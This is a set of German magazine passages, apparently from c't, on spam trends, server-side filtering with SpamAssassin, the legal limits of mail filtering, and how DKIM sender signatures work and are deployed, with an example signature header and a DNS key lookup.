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roDer E-Mail-Anbister, die nicht über eine 


Annahme verweigern, E-Mails nicht zustellen 


Aktiviert der Nutzer das Spam-Blocker-Modul von GMX, 
weist der Mail-Server verdächtige Nachrichten schon während 


des Einlieferungsversuchs ab. 


hang daherkommt, recht zuver- 
lässig zu identifizieren, somit 
wurde die Methode unattraktiv, 
es kam langsam weniger Bilder- 
Spam. 

Die Folge ist, dass im Laufe 
das Jahres 2007 die durch- 
schnittliche Größe von Spam- 
Mail wieder gesunken ist (siehe 
Abbildung unten). Einen deut- 
lichen Ausschlag gab es zuletzt 
im August 2007, als Spam-Ver- 
sender mit Audiodateien experi- 
mentierten. E-Mail-Anhänge mit 
Namen wie „elvis.mp3”, „bsp- 
ears.mp3” oder „loveyou.mp3” 
sollten Anwender dazu verleiten, 


das entsprechende Wiedergabe- 
programm zu starten und sich in 
dürftiger Qualität, mit verfrem- 
deter Stimme und in englischer 
Sprache vorgelesene Aktientipps 
anzuhören. Die Anhänge sind 
mit etwa 150 Kilobyte deutlich 
größer als Bilder-Spam. 

Die Überraschung nach den 
ersten MP3-Spam-Probewellen 
hielt sich bei den Sicherheits- 
experten allerdings in Grenzen. 
Mit vermehrtem Aufkommen 
von Ton- und Video-Spam rech- 
nen sie schon länger, gehen 
aber davon aus, dass sich diese 
Form der unerwünschten Wer- 
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Im Jahre 2006 brachen riesige Wellen mit Bilder-Spam über die 
Mail-Server herein. Seitdem sinkt die durchschnittliche Größe 


von Spam-Mails wieder. 


122 


Quelle: eleven 


bung nicht durchsetzt: „Die 
schlechte Tonqualität wird dazu 
führen, dass sich die Nutzer 
diese Botschaften nicht anhö- 
ren“, ist etwa Andrey Nikishin 
von Kaspersky Labs überzeugt. 
„Wir denken, dass MP3-Spam- 
Versand sich ab und zu wieder- 
holen, jedoch keinen nennens- 
werten Einfluss auf die Spam- 
Statistik haben wird.“ 


Spam-Killer 


Für Betreiber von Mail-Systemen 
ist derzeit die größte Herausfor- 
derung, mit jeweils vertretbarem 
Ressourcenaufwand eine zuver- 
lässige Spam/Ham-Sortierung zu 
gewährleisten. Am häufigsten 
dürfte dabei der Mail-Klassifizie- 
rer SpamAssassin zum Einsatz 
kommen. Das Perl-Programm ist 
als Open-Source-Software kos- 
tenlos und wird permanent tau- 
sendfach erprobt, trainiert und 
verbessert. 

Nachdem SpamAssassin eine 
eingegangene Mail durch seine 
über 500 Einzelmodule ge- 
schickt hat, stempelt er ihr eine 
Kennzahl zur „Spamhaftigkeit”, 
den sogenannten Spamscore, in 
den Header. Nachgeschaltete Fil- 
ter können entscheiden, ab wel- 
chem Score sie die Nachricht in 
den Junk-Ordner des Empfän- 
gers sortieren. 

Die Analysen von SpamAssas- 
sin sind verschieden aufwendig. 
Immer wieder passiert es, dass 
sich die Zustellung bei Mail-Sys- 
temen um Minuten oder gar 
Stunden verzögert, dann näm- 
lich, wenn eine Spam-Welle ur- 
plötzlich ein bestimmtes Spa- 
mAssassin-Modul derartig bean- 
sprucht, dass die Hardware in die 
Knie geht und sich dadurch 
Staus in der Eingangsqueue des 
Klassifizierers bilden. 

Für die Administratoren be- 
steht die Kunst darin, SpamAs- 
sassin permanent den aktuellen 
Gegebenheiten anzupassen und 
die Gewichtung der verschiede- 
nen Kriterien neu auszutarieren. 
Diverse Websites geben da 
Tipps. Die SpamAssassin-Ent- 
wickler selbst beschreiben in 
ihrem Wiki ausführlich, wie Ad- 
ministratoren die Last in Gren- 
zen halten können [7]. 

Als Königsweg zur Spam-Filte- 
rung nach dem Posteingang hat 
sich die statistische Auswertung 
von Mails nach dem Bayes-Prin- 
zip erwiesen [8]. Der Filter beob- 
achtet dabei vereinfacht gesagt 
den Nutzer beim Sortieren, er- 


stellt daraus Regeln und lernt 
mit der Zeit, welche Mails er- 
wünscht sind. Auch SpamAssas- 
sin verfügt über ein Bayessches 
Modul. Dieses fordert allerdings 
dermaßen große Rechenpower, 
dass die meisten Administrato- 
ren darauf verzichten es einzu- 
setzen, zumal Bayessche Filter 
ihr ganzes Können erst ausspie- 
len, wenn sie pro User individuell 
trainiert werden. 

Für die Nutzer ist das kein 
Beinbruch: Sie können ein E-Mail- 
Programm einsetzen, das die sta- 
tistische Analyse beherrscht, also 
etwa den beliebten Client Thun- 
derbird. In Ergänzung zur server- 
seitigen Vorfilterung gelingt es 
so, die meisten Spam-Mails aus 
dem Posteingang fernzuhalten. 
Schreibt der Arbeitgeber aller- 
dings vor, welches Programm 
eingesetzt wird, muss man sich 
wohl oder übel mit den Gege- 
benheiten abfinden und sich bei- 
spielsweise mit den recht mäßi- 
gen Filterleistungen eines Micro- 
soft Outlook abfinden. 

Wenn sich Administratoren 
die serverseitige Spam-Bekämp- 
fung nicht selbst aufbürden wol- 
len, kommen sie nicht umhin, auf 
kommerzielle Lösungen zurück- 
zugreifen. Diverse Unternehmen 
bieten gehostete Filtersysteme 
oder auch Appliances an, die in 
die eigene Server-Infrastruktur 
integriert werden können. Ihnen 
ist gemein, dass für den Einsatz 
im gewerblichen Bereich schnell 
erkleckliche Summen zu zahlen 
sind. Ein Beispiel: Der Anbieter 
eleven verlangt für die Filterung 
von 100 Mail-Accounts pro Jahr 
knapp 1600 Euro - ein durchaus 
markttypischer Preis. 

Dafür können die spezialisier- 
ten Dienstleister in aller Regel 
von den Erfahrungen aller instal- 
lierten Systeme profitieren. So 
sorgt beispielsweise eleven mit 
seiner White-Label-Lösung unter 
anderem für den Spam-Schutz 
aller T-Online-Accounts. Ist eine 
Müllwelle am Anrollen, bekommt 
es der Anbieter folglich sehr früh- 
zeitig mit und kann Gegenmaß- 
nahmen einleiten, von denen 
dann wiederum alle angeschlos- 
senen Postfächer profitieren. 


Gemeinnütziger 
Selbstschutz 


Als privater Betreiber eines Mail- 
Servers muss man einiges be- 
achten, damit versandte Mails 
nicht in der Spam-Abwehr von 
Kommunikationspartnern ste- 
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cken bleiben. Eine falsche oder 
unbedarfte Konfiguration etwa 
kann dazu führen, dass einzelne 
Provider die Zusammenarbeit 
verweigern oder man auf einer 
Blacklist landet. Häufiger Fehler 
ist eine falsche Nameserver-Kon- 
figuration, etwa wenn ein Re- 
verse-Lookup nicht zum tatsäch- 
lichen Namen des Servers zu- 
rückführt. Auch Mails, die nicht 
dem Standard RFC 2822 entspre- 
chen, genügen vielen Empfän- 
gern schon, um die Annahme 
grundsätzlich zu verweigern. 
Die Software des eigenen 
Servers sollte stets aktuell gehal- 
ten sein, um Müll-Versendern 
keine Angriffsfläche zu bieten. 
Dies betrifft nicht nur die Mail- 
Daemons wie Sendmail, Exim 
oder Qmail oder andere System- 
dienste wie SSH und Apache, 
sondern vor allem auch PHP, 
Content-Management-Systeme 
und Foren-Software. Gerade Lü- 
cken in Foren, CMS und anderen 


Juristische Schranken 


Die Blockade und Filterung von 
E-Mails birgt rechtliche Risiken 
sowohl straf- als auch zivilrecht- 
licher Art. Im Bereich des Straf- 
rechts ist vor allem die Verlet- 
zung des Fernmeldegeheimnis- 
ses nach Paragraf 206 StGB zu 
beachten (siehe c't 4/05, S. 178). 
Die Vorschrift schützt das Ver- 
trauen des Kunden in die ord- 
nungsgemäße Zustellung von 
Nachrichten durch seinen Provi- 
der. Löscht der Anbieter eine 
Mail, nachdem sie ihm bereits 
„anvertraut“ ist, kann er sich 
damit strafbar machen. Das gilt 
bei SMTP nach Juristenmeinung 
dann, wenn die Datenübermitt- 
lung abgeschlossen ist und 
damit der sendende Server 
keine Veranlassung mehr sieht, 
einen erneuten Zustellversuch 
zu unternehmen. 


Blockiert ein Provider dagegen 
etwa im Rahmen des Blacklis- 
ting die Nachrichtenzustellung 
bereits auf Basis der Versender- 
IP-Adresse, spricht einiges dafür, 
dass in diesem Fall eine Strafbar- 
keit auszuschließen ist, da die 
Mail dem Provider aufgrund der 
fehlenden vollständigen Zustel- 
lung eben noch nicht anvertraut 
ist. Einigkeit besteht unter den 
Juristen auf jeden Fall darüber, 
dass der genannte Strafrechts- 
paragraf sämtliche Fälle umfasst, 
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Skript-basierten Web-Anwen- 
dungen werden gern von Spam- 
mern dafür genutzt, über die E- 
Mail-Funktion der Server-An- 
wendungen ihre unerwünschten 
Mails abzusetzen. 1&1 etwa gab 
an, pro Monat etwa 500 Server 
vom Netz abzuschneiden, weil 
sie kompromittiert wurden, 
Spammer Lücken in Anwendun- 
gen zum Spammen missbraucht 
oder den Server nur zum Spam- 
men oder Phishen angemietet 
hatten. 

Fast alle Provider unterhalten 
mittlerweile Abuse-Teams, die 
sich um eingehende Beschwer- 
den zum Thema Spam kümmern. 
Dies können durchaus mehrere 
zehntausend pro Tag sein. Insge- 
samt beschäftigt zum Beispiel 
1&1 drei Teams mit rund 40 Mit- 
arbeitern, die sich nur um die 
Themen Missbrauch, Mail-Sicher- 
heit und Betrug kümmern. Bei 
Strato macht der Kampf gegen 
Spam nach eigenen Angaben in- 


in denen Anbieter bereits zuge- 
stellte Nachrichten ohne Kennt- 
nis und Zustimmung des Emp- 
fängers löschen. Liegt eine Zu- 
stimmung des Kunden vor, so ist 
eine Strafbarkeit ausgeschlos- 
sen. Nicht nötig ist diese Zustim- 
mung, wenn der Provider 
Wurm- oder virenverseuchte E- 
Mails verwirft, denn hier kann 
und darf er davon ausgehen, 
dass der Kunde mit der Filterung 
einverstanden ist. Gegebenen- 
falls dürfte sich der Provider 
sogar auf Notwehr oder Nothilfe 
berufen können. 


Auch im Bereich des Zivilrechts 
können böse Überraschungen 
durch Spam-Filterung lauern. 
Wer seine E-Mail-Adresse im ge- 
schäftlichen Verkehr nutzt und 
etwa auf seinem Briefpapier an- 
gibt, ist verpflichtet, für den 
ordnungsgemäßen Zugang der 
Nachrichten zu sorgen und die 
entsprechende Infrastruktur vor- 
zuhalten. Wenn er dann am Ein- 
gang seines Mail-Servers andere 
Rechner auf die schwarze Liste 
setzt und dabei den Account für 
den Falschen vernagelt, wird er 
unter Umständen so behandelt, 
als wäre die E-Mail zugegangen. 
Dabei spielt es keine Rolle, ob er 
den Mail-Server selbst betreibt 
oder sich eines externen Anbie- 
ters bedient. Insbesondere gibt 


zwischen rund 20 Prozent der 
Webbhosting-Betriebskosten aus, 
1&1 nannte uns einen hohen sie- 
benstelligen Betrag. 

In einem Punkt agieren viele 
Großprovider nach wie vor viel 
zu nachlässig: Sie sichern ihre 
Netze zu schlecht gegen Spam- 
mer in den eigenen Reihen ab. 
Solange ständig gehackte Free- 
mail-Accounts etwa von Yahoo 
oder MSN Live Mail als Spam- 
Schleudern missbraucht werden 
können, ist diesen Mail-Hostern 
nicht zu trauen. Sie dürfen sich 
daher nicht wundern, dass sie oft 
in Blacklists auftauchen. Auch 
dort sollte sich beispielsweise 
herumgesprochen haben, dass 
Spam-Bots mittlerweile sogar 
Schutzmechanismen, die das 
automatisierte Generieren von 
Accounts verhindern sollen, aus- 
hebeln können. Solche Unzu- 
länglichkeiten haben zur Folge, 
dass das gesamte System E-Mail 
leidet: Eine Sendervalidierung 


es eine Reihe von juristischen 
Konstrukten, in denen bereits 
das Schweigen auf eine Erklä- 
rung zu einer rechtlichen Folge 
führt. Dies gilt beispielsweise für 
das Schweigen eines Kaufmanns 
auf ein Vertragsangebot, wel- 
ches dann bereits als angenom- 
men gelten kann. 


Ob sich der Empfänger seine 
ihm so entstandenen Kosten 
von seinem Provider zurückho- 
len kann, steht auf einem ande- 
ren Blatt, nämlich dem jeweili- 
gen Vertrag zwischen Provider 
und Empfänger. Der Provider 
hat zwar eine vertragliche 
Pflicht, sämtliche für einen Nut- 
zer zugestellten Nachrichten 
auch ordnungsgemäß weiter- 
zuleiten, kann aber seine Haf- 
tung auf grobe Fahrlässigkeit 
begrenzen. Ob dies auch durch 
eine Klausel in den allge- 
meinen Geschäftsbedingun- 
gen geschehen kann, dürfte 
strittig sein. Wenn dann dem 
Provider nicht nachweisbar ist, 
dass er sich des verwendeten 
Verfahrens ganz offensichtlich 
nicht hätte bedienen dürfen 
oder ihm bei der Gestaltung 
des Filters grobe Schnitzer 
unterlaufen sind, hat man 
schlechte Karten und bleibt auf 
dem Schaden sitzen. 

(Benjamin Weber) 
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läuft ins Leere, wenn der Spam- 
mer einen vermeintlich ver- 
trauenswürdigen Smarthost nut- 
zen kann. 

Nur wenn sich jeder an die ei- 
gene Nase fasst und tut, was er 
kann, um Spam zu vermeiden, 
bleibt das Medium E-Mail in den 
nächsten Jahren nutzbar. Schon 
jetzt führt der harte Kampf 
gegen den Werbemüll dazu, 
dass es an Flexibilität verloren 
hat: Einen Mail-Host am DSL-An- 
schluss zu Hause zu betreiben, 
kommt nicht mehr in Frage, weil 
dynamisch vergebene IP-Adres- 
sen oft geblacklistet sind. Auch 
einen anderen Smarthost als den 
des eigenen Betreibers zu nut- 
zen, ist nicht mehr ratsam, weil 
einige Empfangsserver blocken, 
wenn die „From“-Adresse nicht 
zum einliefernden Host passt. 

Gestern stand das Medium E- 
Mail am Abgrund. Viele Admins 
und Nutzer sehen es bereits 
heute einen Schritt weiter, doch 
ganz so ist es noch nicht. Provi- 
dern muss allerdings klar sein, 
dass die Problematik höchste 
Priorität hat. Schützen sie ihre 
Kunden nicht ausreichend vor 
Spam, verlieren sie sie. Gleich- 
zeitig müssen sie dafür sorgen, 
dass jede gewollte Mail in den 
Inboxen ankommt und der 
Kundenpostausgang nicht auf 
Blacklists landet. Eine Mammut- 
aufgabe. (hob) 
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Johannes Endres 


Die guten 


ins Töpfche 


Absender-Authentifizierung 
gegen Spam und Phishing 


Ursprünglich sollte das Verfahren 
DomainKeys Identified Mail nur die 
Spam-Flut eindämmen. Doch da es 
gefälschte Absenderadressen 
entdeckt, hilft es besser gegen 
Phishing. Erst zusammen mit der 
Spam-Reputation des Absenders 
verringert es auch die Viagra- 
Werbung in der Inbox. 


pammer wollen normalerweise uner- 

kannt bleiben, nicht nur, um den inzwi- 

schen horrenden Geldstrafen zu entge- 
hen, die ihnen in den USA drohen. Daher ver- 
senden Sie Mail-Müll meist mit falschen Ab- 
senderadressen. Phisher, die arglose Nutzer 
auf gefälschte Internet-Seiten locken wollen, 
um ihnen Passwörter, PINs und TANs abzu- 
luchsen, senden grundsätzlich unter falscher 
Flagge - schließlich müssen ihre Nachrichten 
ja wie die von einer Bank wirken, damit der 
Trick funktioniert. Ihr böses Handwerk wäre 
viel schwieriger, wenn sich feststellen ließe, 
dass eine E-Mail wirklich von dem kommt, 
der sich als Absender ausgibt. Dazu sollten 
gutwillige Versender die Urheberschaft ihrer 
Nachrichten in automatisch auswertbarer 
Form bestätigen. 

Das könnten die Anwender selbst über- 
nehmen, indem sie alle ihre Mails mit einer 
digitalen Signatur versehen. In jedem 
brauchbaren E-Mail-Programm erfordert 
eine solche PGP- oder S/MIME-Unterschrift 
höchstens einen Klick. Doch mehr als 15 
Jahre nach der Einführung von PGP bleibt 
der Anteil vom Nutzer signierter E-Mail ver- 
schwindend gering. 

Folglich muss der Absender von Servern 
geprüft und bestätigt werden. Ein Protokoll 
dafür heißt SPF (ursprünglich Sender Permit- 
ted From, jetzt Sender Policy Framework). So 
wie im DNS in MX-Records steht, welcher 
Server die Mail für eine Domain annimmt, 
schreibt der Postmaster einfach auch ins 
DNS, welche Server sie für diese Domain ver- 
schicken. Wenn von einer anderen IP-Adres- 
se Mail mit dieser Absender-Domain kommt, 
unterbricht der empfangende Server einfach 
die Verbindung. 

In der Praxis zeigte sich schnell ein prinzi- 
pielles Problem: Wenn ein Anwender oder 
eine Mailingliste außerhalb der ursprüng- 
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lichen Absender-Domain die E-Mail weiterlei- 
tet, passen Server-IP und Absenderadresse 
nicht mehr zusammen. Außerdem muss der 
Postmaster ständig daran denken, den SPF- 
Eintrag im DNS mit Änderungen an seinem 
Mail-Server synchron zu halten. Im Moment 
führt SPF deshalb zu mehr fälschlich abge- 
lehnten Nachrichten als es Spam aussortiert. 
Sowohl bei Yahoo als auch bei Cisco ent- 
standen 2004 Verfahren, die das Beste der 
beiden Ideen kombinieren: Um den Nutzer 
nicht zu belasten, bringt der Server an jeder 
E-Mail eine kryptografische Signatur an, die 
von der IP-Adresse des Servers unabhängig 
ist. Beide Firmen warfen Ihre Bemühungen 
zusammen und so entstand 2007 der Inter- 
netstandard DKIM [1]. In der freien Wild- 
bahn trifft man häufig noch Signaturen 


nach dem prinzipiell kompatiblen aber 
überholten Yahoo-Verfahren an [2]. 

Digitale Unterschriften sind Brot und But- 
ter der Kryptografie. Der Unterzeichner er- 
zeugt sich ein Paar von Schlüsseln: Was mit 
dem einen verschlüsselt ist, kann man nur 
mit dem anderen entschlüsseln. Wenn der 
Absender den einen Schlüssel geheim hält 
und den anderen veröffentlicht, funktioniert 
das als Unterschrift. Denn was sich mit dem 
öffentlichen Schlüssel entschlüsseln lässt, 
muss mit dem geheimen Gegenstück ver- 
schlüsselt worden sein. Wenn also der öffent- 
liche Schlüssel passt, muss die Nachricht von 
jemandem kommen, der den geheimen 
Schlüssel besitzt. 

Um die Nachricht auch für Empfänger les- 
bar zu erhalten, die DKIM noch nicht ent- 
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schlüsseln können, wird sie nicht komplett 
verschlüsselt, sondern zuvor eine Art Quer- 
summe der Buchstaben berechnet, der so 
genannte Hash. In die Nachricht wird dann 
nur noch der mit dem geheimen Schlüssel 
verrechnete Hash eingefügt. Das Ergebnis 
der Hash-Funktion ändert sich stark, sobald 
sich die Nachricht auch nur wenig ändert. 
Deshalb passt die Unterschrift nicht mehr, 
wenn die Nachricht manipuliert wurde. 

Die entscheidende Idee ist nun, dass nicht 
jeder einzelne Nutzer, sondern der absen- 
dende Server die E-Mail signiert. Sofern der 
Postmaster auf seinen geheimen Schlüssel 
gut aufpasst, ist damit sichergestellt, dass die 
Nachricht von seinem Server kam und an- 
schließend nicht mehr verändert wurde. Das 
hindert zum Beispiel Phisher daran, einfach 
eine echte Bank-Mail abzufangen und einen 
Link auf ihre Seite einzufügen. 


Kopfsache 


Um den Inhalt einer E-Mail (den Body) zu sig- 
nieren, genügen der verschlüsselte Hash und 
ein Hinweis auf den Schlüssel. Doch DKIM si- 
chert auch die Header gegen Manipulatio- 
nen und soll möglichst flexibel einsetzbar 
sein, auch in mehrstufigen Mail-Systemen 
und bei E-Mail-Dienstleistern. Daher sind ei- 
nige Zusatzinformationen erforderlich. 

Der Server fügt in die E-Mail einen zusätz- 
lichen Header „DKIM-Signature” ein, an dem 
sich die Probleme und Prinzipien des Verfah- 
rens zeigen. Er sieht beispielsweise so aus: 


DKIM-Signature: v=1; a=trsa-shal; c=relaxed/simple; 
d=example.net; s=mail200801; i=dau@sub.example.net; 
h=Date:From:To:Subject:Message-ID:References:Content- 
Type:Content-Disposition:Content-Transfer-Encoding; 
bh=8FBe8u6BvmKcvYyKlx+oYvPBSj4=; b=I+oWYOxFAk 


Ajcxdz66BEmd8Mqs9D2U= 


Der Header besteht aus mehreren Feldern, 
die jeweils aus einem Buchstaben, gefolgt 
von einem Gleichheitszeichen und dem Wert 
bestehen. Hinter v= steht die benutzte Ver- 
sion des DKIM-Standards, die seit der Veröf- 
fentlichung des RFC “1” lauten sollte. Mit a= 
werden Hash- und Verschlüsselungsalgorith- 
mus angegeben. 

Hinter c= verbirgt sich die „Canonicaliza- 
tion”: Auf dem Weg der Mail kann es passie- 
ren, dass Server die Mail anders umbrechen, 
die Großschreibung ändern und Leerzeichen 
einfügen oder löschen. Besonders bei den 
Headern ist das üblich, um sie leserlicher zu 
gestalten. Doch solche im Mail-Standard [3] 
erlaubte Änderungen würden die Signatur 
entwerten. Wenn jedoch der Versender vor 
dem Signieren und der Empfänger vor dem 
Prüfen der Signatur die Nachricht auf die 
gleiche Weise umformatieren, bleibt die 
Unterschrift gültig. Hier bedeutet relaxed 
unter anderem, Umbrüche aus den Headern 
zu entfernen und mehrere Leerzeichen zu 
einem zusammenzuführen. Hingegen er- 
laubt strict keinerlei Änderungen. Die Empfeh- 
lung lautet, wie im Beispiel die Header relaxed 
zu behandeln und den Rest der Mail strict, was 
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die beiden durch einen Schrägstrich ge- 
trennten Angaben bewirken. 

Mit d= wird die Domain angegeben, mit 
deren Schlüssel die Nachricht signiert wurde. 
Das muss nicht unbedingt der im From:-Hea- 
der angegebene Absenderadresse entspre- 
chen, zum Beispiel wenn eine Mailingliste im 
Spiel ist. Zusätzlich gibt s= einen „Selektor" 
an, den Namen des Schlüssels. 

Der Versender legt seinen öffentlichen 
Schlüssel unter diesem Namen in der Subdo- 
main _domainkey in seinem DNS-Server ab, 
und zwar als Eintrag vom Typ TXT. So kann 
jeder Empfänger den Schlüssel leicht abfra- 
gen und eine zusätzliche Infrastruktur zur 
Schlüsselverwaltung entfällt. Außerdem ist 
es nicht nötig, dass eine vertrauenswürdige 
Stelle die Echtheit des Schlüssels bestätigt, 
denn nur der Absender kann seinem DNS- 
Server einen Eintrag hinzufügen. 

Der Schlüssel lässt sich auch auf der Kom- 
mandozeile mit dem Befehl nslookup -type=TXT 
mail200801._domainkey.example.net abfragen. Der 
zurückgelieferte TXT-Record ähnelt auf den 
ersten Blick der Signatur: 


v=DKIM1; k=rsa; 
p=MIGfMAOGCSgGSIb3DOEBAQUAAAGNADCBIQKBgQCON 


[K5b7PeJHBv4MejVOG3hwIDAQAB 


Die Felder enthalten die DKIM-Version (v=, 
optional), den Schlüsseltyp (k=, optional) und 
den Schlüssel selbst (p=). 

Durch unterschiedliche Selektoren kann 
eine Domain mehrere Schlüssel benutzen. 
Der RFC empfiehlt, den Schlüssel regelmäßig 
zu wechseln und den alten als ungültig zu 
kennzeichnen. Dazu lässt der Admin den 
TXT-Record in seinem DNS, löscht jedoch 
den eigentlichen Schlüssel, also den Teil hin- 
ter p=. Über eine Versionsnummer oder Da- 
tumsangabe im Selektor lässt sich dann 
leicht zwischen gültigen und widerrufenen 
Schlüsseln umschalten. 

Die Signatur umfasst den Körper der Mail 
und die Header, um beispielsweise sicherzu- 
stellen, dass sich kein Fälscher als Absender 


Der zu befragende DNS-Server: un: on 
Eigener Server: 1: 


Rekursive Abfrage 


Abfrageorgebnisse für sjdkim104. domainkey.cisco.com: 


Typ Daten 


Mit einem Tool zur DNS-Abfrage kann sich 
jeder die für DKIM verwendeten Schlüssel 
ansehen. 
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ins From: einträgt. Damit unterwegs eingefüg- 
te oder unwichtige Header die Signatur nicht 
stören, enthält der DKIM-Header eine Liste 
der signierten Felder (h=). Hier können auch 
Header stehen, die in der E-Mail gar nicht 
vorkamen, um zu verhindern, dass sie unter- 
wegs eingefügt werden. 

Das Feld i= enthält die „Identity“, für die 
signiert wurde. Das kann der komplette Ab- 
sender sein oder auch die (Sub-)Domain, für 
die der signierende Server zuständig ist. Das 
Beispiel zeigt, dass die E-Mail-Adresse durch- 
aus zu einer Subdomain der mit d= angege- 
benen Domain gehören darf. 

Im Header steht der Hash des Body (bh=), 
damit der Empfänger Veränderungen auch 
dann bemerken kann, wenn der öffentliche 
Schlüssel durch eine DNS-Störung nicht ver- 
fügbar ist oder widerrufen wurde. Am Ende 
steht dann mit b= die eigentliche Signatur. 


Vertrauenssache 


Eine korrekte DKIM-Signatur zeigt dem Emp- 
fänger, dass die Mail den Server passiert hat, 
auf dem der private Schlüssel liegt, der zu 
dem per DNS veröffentlichten passt. Doch 
bedeutet eine fehlende Signatur nur dann, 
dass die Nachricht gefälscht wurde, wenn 
der Absender ausnahmslos alle E-Mails sig- 
niert. Solche „Policy“-Informationen waren 
auch Bestandteil des Yahoo-Verfahrens Do- 
mainKeys, doch DKIM lagert sie in einen ei- 
genen RFC aus, der noch nicht verabschiedet 
ist. Das Protokoll soll „Sender Signing Practi- 
ces (SSP)“ heißen und den Umgang mit nicht 
oder ungültig signierten Nachrichten regeln. 

DKIM - auch ohne SSP - stellt sicher, dass 
die E-Mail aus der Domain des angegebenen 
Absenders stammt. Gegen Phishing mit prin- 
zipbedingt gefälschten Absendern hilft das 
Verfahren sofort. Doch schon jetzt gibt es 
den ersten signierten Spam zum Beispiel von 
Yahoo- und Googlemail-Adressen. Eine kor- 
rekte Signatur allein reicht folglich nicht als 
Filterkriterium; der Postmaster muss zusätz- 
lich einschätzen, ob aus einer per DKIM be- 
stätigten Domain Spam zu erwarten ist. 
Damit befasst sich der Standard jedoch 
nicht, da es keine technische Frage ist, son- 
dern eine des guten Rufs. Bekannte Absen- 
der kann der Admin dank DKIM am Spam- 
filter vorbeilassen, doch bislang fehlt es an 
Verfahren, um die Reputation eines unbe- 
kannten Senders zu berücksichtigen. Mit Kar- 
masphere (http://my.karmasphere.com) gibt 
es aber schon einen ersten Versuch, diese In- 
formation zu sammeln und maschinenlesbar 
zur Verfügung zu stellen. (je) 
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Patrick Koetter 


Zeichnungs- 


vollmacht 


E-Mails signieren und 
verifizieren mit DKIM 


Über ein halbes Jahr ist der DKIM- 
Standard nun alt, trotzdem haben 
erst wenige Admins ihren Servern 
das Verfahren beigebracht. Dabei 
lässt es sich selbst in ein mit Anti- 
Spam- und Anti-Virenfiltern bis 
an die Zähne bewaffnetes Mail- 
system integrieren - wenn 

die Planung stimmt. 


keinem, aber das Verfahren hilft umso 

besser bei der Spam-Vermeidung, je 
mehr Domains ihre Mail signiert verschicken 
(siehe Artikel auf S. 124). Postmaster, die 
ihrem Mail-Server das Signieren und Verifi- 
zieren ein- und ausgehender E-Mails gemäß 
RFC 4871 [1] beibringen möchten, sollten zu- 
erst sicherstellen, dass der eigene Mail-Ser- 
ver nicht zum Spam-Versand missbraucht 
werden kann. Denn wenn er eine unterge- 
schobene Mail mit der Absender-Signatur 
adeln würde, wäre das fatal für die Reputa- 
tion. Die Empfänger könnten die Signatur 
nicht mehr als Kriterium zum Filtern benut- 
zen und sie wäre somit überflüssig. 

Wenn der Server wasserdicht läuft, folgt 
die Planung, an welcher Stelle im Mailtrans- 
port eine Nachricht bearbeitet werden soll. 
Nur so bringt DKIM einerseits den etablierten 
Ablauf nicht durcheinander und andererseits 
kommen die bestehenden Prozesse DKIM 
bei seiner Arbeit nicht in die Quere. 

Erst nach der Planungsphase generiert der 
Postmaster die Schlüssel und integriert sie in 
den SMTP- und den DNS-Dienst. Damit kann 
das System dann DKIM-Signaturen hinzufü- 
gen und es kann auch DKIM-Signaturen in 
Mails erkennen. Um anhand der so gewon- 
nenen Signatur-Informationen Spam- und 
Phishing-Mails herauszufiltern, muss der 
Postmaster zuletzt die Regeln seiner Con- 
tent-Filter anpassen. 


F ine DKIM-Signatur in der E-Mail schadet 


Bitte hier unterschreiben 


Ein typischer Mailserver besteht aus mehre- 
ren Komponenten für die einzelnen Aspekte 
des Mailtransports. Ein SMTP-Server - in die- 
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sem Artikel wird es Postfix sein - hat die Auf- 
gabe, E-Mails aus dem Internet anzunehmen; 
eine Mailinglisten-Software wie mailman ver- 
teilt Nachrichten an Abonnenten und eine 
Content Inspection Engine (hier: amavisd- 
new) regelt die Überprüfung der Nachrich- 
ten durch Filter wie SpamAssassin und 
trennt damit Gut von Böse. 

Grundsätzlich kann der annehmende Ser- 
ver schon während der SMTP-Session mit 
dem Absender die Signatur prüfen, bevor er 
die Mail annimmt (Position 1 in der Abbil- 
dung oben rechts). Oder die Prüfung findet 
erst im Content-Filtern statt, wenn die Mail 
bereits im System ist (Position 2). 

Bei der ersten Variante liefert der absen- 
dende Server die Mail an den DKIM-taug- 
lichen Server und wartet innerhalb der 
SMTP-Session auf die Quittung. Der emp- 
fangende Server prüft - ganz RFC-konform 
- die Unterschrift, bevor er antwortet und 
gibt bei einem Fehlschlag sofort eine Feh- 
lermeldung zurück. Dafür spricht, dass der 
absendende Server sofort weiß, woran er ist 


und den Absender informieren kann. An- 
dernfalls geht die Verantwortung für die 
weitere Beförderung auf den empfangen- 
den Mailserver über und der absendende 
kann die Nachricht aus seiner Warteschlan- 
ge entfernen. 

Dagegen spricht, dass sich die frühe Prü- 
fung in der Realität eher selten robust imple- 
mentieren lässt. Denn bis ein gut beschäftig- 
ter Server sich entschieden hat, ob er die 
Nachricht annehmen will, kann der andere 
schon längst die SMTP-Sitzung abgebro- 
chen haben. Denn erstens muss der Verifi- 
zierer sich den passenden öffentlichen 
Schlüssel per DNS aus den Weiten des Inter- 
net besorgen. Zweitens kosten die krypto- 
graphischen Berechnungen einiges an CPU- 
Zeit. Je nach Last auf dem empfangenden 
Server kann das so lange dauern, dass der 
Sende-Timeout des absendenden zuschlägt 
und er die Sitzung beendet. In der Regel ver- 
sucht er es zwar dann später wieder, aber 
die Prüfung kann auch dann wieder zu 
lange dauern und schließlich schickt er die 
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Nachricht unvollbrachter Dinge an den An- 
wender zurück. 

Vor allem, wenn keine gesicherten Er- 
kenntnisse über die Systemressouren und 
das Lastverhalten des eigenen Mailsystems 
vorliegen, ist es deshalb besser, die Signa- 
tur später zu prüfen. Dazu akzeptiert der 
Server die Mail und erst die anschließende 
Filterkette verarbeitet sie, wenn kein unge- 
duldiger Absender-Server mehr zu bedie- 
nen ist. 

Allerdings muss der Server eine Nachricht, 
die er einmal angenommen hat, auch dem 
Anwender zustellen. Wie weit der Postmas- 
ter beim späten Filtern noch gehen darf, 
ohne sich juristischen Ärger einzuhandeln, 
behandelt der Kasten auf Seite 123. 


Wann signieren? 


Bei der Entscheidung über den besten Zeit- 
punkt zum Signieren der ausgehenden E- 
Mail sind andere Aspekte wichtig. Eine Sig- 
natur bezeugt den Zustand der Nachricht 
im Moment des Signierens. Wird die E-Mail 
danach verändert, stimmt die Signatur nicht 
mehr. Genau so werden Manipulationen er- 
kannt. Wenn das Mailsystem die Nachricht 
nach dem Unterzeichnen noch selbst verän- 
dert, verschickt es manipulierte und damit 
ungültige Mails. Ein Beispiel hierfür ist der 
Footer, den Mailinglisten-Manager üblicher- 
weise an ausgehende Mails anhängen. 

Der erste Ansatz, dieses Problem zu um- 
gehen, besteht darin, die Signatur so spät 
wie möglich anzubringen, nämlich erst, 
